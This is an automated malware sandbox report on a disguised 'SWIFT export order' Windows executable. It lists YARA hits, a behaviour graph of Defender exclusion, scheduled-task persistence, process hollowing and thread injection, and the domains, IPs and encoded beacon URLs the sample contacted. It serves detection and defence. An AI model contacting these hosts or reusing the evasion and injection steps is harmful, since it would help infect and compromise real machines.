Source: Yara match File source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 528704 Sample: TT_SWIFT_Export Order_noref... Startdate: 25/11/2021 Architecture: WINDOWS Score: 100 39 www.oki-net.com 2->39 41 www.elderlycareacademy.com 2->41 43 webredir.vip.gandi.net 2->43 51 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->51 53 Found malware configuration 2->53 55 Malicious sample detected (through community Yara rule) 2->55 57 14 other signatures 2->57 8 TT_SWIFT_Export Order_noref S10SMG00318021.exe 6 2->8         started        signatures3 process4 file5 35 C:\Users\user\AppData\Roaming\AnsPejV.exe, PE32 8->35 dropped 37 C:\Users\user\AppData\Local\Temp\tmp3FD.tmp, XML 8->37 dropped 67 Adds a directory exclusion to Windows Defender 8->67 12 TT_SWIFT_Export Order_noref S10SMG00318021.exe 8->12         started        15 powershell.exe 23 8->15         started        17 powershell.exe 25 8->17         started        19 schtasks.exe 1 8->19         started        signatures6 process7 signatures8 69 Modifies the context of a thread in another process (thread injection) 12->69 71 Maps a DLL or memory area into another process 12->71 73 Sample uses process hollowing technique 12->73 75 Queues an APC in another process (thread injection) 12->75 21 help.exe 12->21         started        24 explorer.exe 12->24 injected 27 autochk.exe 12->27         started        29 conhost.exe 15->29         started        31 conhost.exe 17->31         started        33 conhost.exe 19->33         started        process9 dnsIp10 59 Modifies the context of a thread in another process (thread injection) 21->59 61 Maps a DLL or memory area into another process 21->61 63 Tries to detect virtualization through RDTSC time measurements 21->63 45 www.wamhsh.com 156.226.250.165, 49782, 80 XIAOZHIYUN1-AS-APICIDCNETWORKUS Seychelles 24->45 47 www.aarondecker.online 209.17.116.163, 49786, 80 DEFENSE-NETUS United States 24->47 49 7 other IPs or domains 24->49 65 System process connects to network (likely due to code injection or exploit) 24->65 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
23.227.38.74
 shops.myshopify.com Canada
13335 CLOUDFLARENETUS true
34.102.136.180
 hpsaddlerock.com United States
15169 GOOGLEUS false
156.226.250.165
 www.wamhsh.com Seychelles
136800 XIAOZHIYUN1-AS-APICIDCNETWORKUS true
209.17.116.163
 www.aarondecker.online United States
55002 DEFENSE-NETUS true

Contacted Domains

Name IP Active
webredir.vip.gandi.net 217.70.184.50 true
www.oki-net.com 154.196.11.204 true
hpsaddlerock.com 34.102.136.180 true
www.wamhsh.com 156.226.250.165 true
www.aarondecker.online 209.17.116.163 true
shops.myshopify.com 23.227.38.74 true
www.innovativepropsolutions.com unknown unknown
www.754711.com unknown unknown
www.pyjama-france.com unknown unknown
www.hpsaddlerock.com unknown unknown
www.elderlycareacademy.com unknown unknown
www.blueharepress.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.hpsaddlerock.com/46uq/?3fQ0Khi=bs9J1aeGn7//rC5/XQ3RZfL5fo+K3BeziJUGIjAdanx1gP9H8FkBLk3VYXo90D5B+GRs&j0=SFN8Rxuh3 false
  • Avira URL Cloud: malware
 unknown
http://www.wamhsh.com/46uq/?3fQ0Khi=Ue3PnYf+WtitO9Jkut75Ma3k2TKhCZznjjMu1kid5hA29ktIECD3KZ7svhzldzsG+GSp&j0=SFN8Rxuh3 true
  • Avira URL Cloud: safe
 unknown
http://www.aarondecker.online/46uq/?j0=SFN8Rxuh3&3fQ0Khi=IBlQMs5j29CKqlv3/eZQ6Z47udTwmev2IX+bwOiN2E8lumQwhRgtDV6FzU7U1t+cHC/Y true
  • Avira URL Cloud: safe
 unknown
www.liberia-infos.net/46uq/ true
  • Avira URL Cloud: malware
 low
http://www.pyjama-france.com/46uq/?j0=SFN8Rxuh3&3fQ0Khi=KgIlRYVH25tNYqbEG8kO4R44bHZw5lHi55V8k/E4GGeqoND16iqE+SGGf+ZfndkYvzRB true
  • Avira URL Cloud: safe
 unknown